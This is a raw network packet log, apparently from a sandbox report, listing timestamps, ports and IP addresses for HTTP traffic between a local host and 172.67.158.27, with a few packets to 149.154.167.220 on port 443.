Jun 16, 2021 12:06:04.141171932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141199112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141202927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141227007 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141251087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141257048 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141509056 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141544104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141552925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141571999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141602039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141606092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141630888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141658068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141665936 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141686916 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141712904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141721010 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141740084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141767025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141773939 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141793966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141818047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141825914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141845942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141871929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141875982 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.141899109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141926050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.141933918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142362118 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142443895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142477036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142504930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142509937 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142537117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142566919 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142570019 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142597914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142628908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142635107 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142658949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142688990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142692089 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142720938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142750978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142754078 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142780066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142810106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142812967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142839909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142868996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142875910 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.142899036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.142930984 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143424034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143455029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143484116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143496990 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143512964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143537998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143544912 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143563986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143591881 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143599987 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143620014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143645048 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143652916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143671989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143698931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143703938 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143726110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143753052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143759012 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143778086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143804073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143810987 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.143829107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.143858910 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144299984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144335032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144366980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144376993 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144398928 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144429922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144433022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144459963 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144489050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144494057 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144520998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144551039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144553900 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144581079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144613981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144617081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144644976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144675016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144679070 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144705057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144735098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144740105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.144766092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.144800901 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145211935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145245075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145279884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145289898 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145308971 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145335913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145340919 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145365000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145390987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145400047 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145418882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145445108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145452023 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145471096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145498037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145503044 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145524025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145550966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145559072 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145576954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145606041 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145610094 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145632029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.145663023 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.145917892 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146182060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146219969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146251917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146261930 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146281958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146311045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146316051 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146342039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146372080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146377087 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146403074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146433115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146435976 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146465063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146495104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146498919 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146527052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146557093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146559000 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146586895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146620989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146624088 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.146651983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.146687031 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147062063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147094965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147141933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147147894 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147175074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147200108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147212982 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147233009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147262096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147264004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147291899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147321939 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147322893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147352934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147382021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147384882 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147412062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147439957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147442102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147470951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147500992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147501945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147533894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.147564888 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.147993088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148025990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148051023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148060083 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148077965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148108006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148116112 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148138046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148166895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148166895 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148194075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148224115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148250103 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148256063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148258924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148288965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148318052 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148319006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148350954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148379087 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148380041 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148412943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148442984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148442984 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148921013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148957968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.148962975 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.148986101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149013042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149018049 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149039984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149066925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149068117 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149096012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149122953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149125099 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149151087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149177074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149179935 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149204016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149230957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149230957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149266958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149295092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149295092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149323940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149353981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149353981 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149812937 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149847031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149852991 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149877071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149903059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149905920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149930954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149955988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.149962902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.149983883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.150011063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.150012970 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.150037050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.150060892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.150069952 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.158035994 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.162260056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.213284969 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:04.213335991 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:04.213387012 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:04.233659029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233704090 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233737946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233752012 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.233766079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233793974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233808994 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.233824015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233853102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233855009 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.233880997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233911037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233916044 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.233942986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233974934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.233975887 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234008074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234040022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234040976 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234071970 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234105110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234112024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234138966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234170914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234172106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234205008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234236956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234237909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234271049 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234301090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234302998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234334946 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234337091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234369040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234399080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234399080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234431028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234462976 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234463930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234498024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234530926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234532118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234564066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234596014 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234596968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234631062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234663963 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234663963 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234698057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234730005 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234730959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234762907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234783888 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234797001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234829903 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234844923 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234862089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234896898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234898090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.234930038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.234965086 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235310078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235341072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235378027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235382080 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235409975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235441923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235443115 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235476017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235511065 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235513926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235546112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235572100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235580921 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235797882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235831976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235841036 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235862017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235891104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235894918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235918999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235949993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.235951900 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.235979080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236007929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236015081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236036062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236066103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236069918 CEST	49170	80	192.168.2.22	172.67.158.27
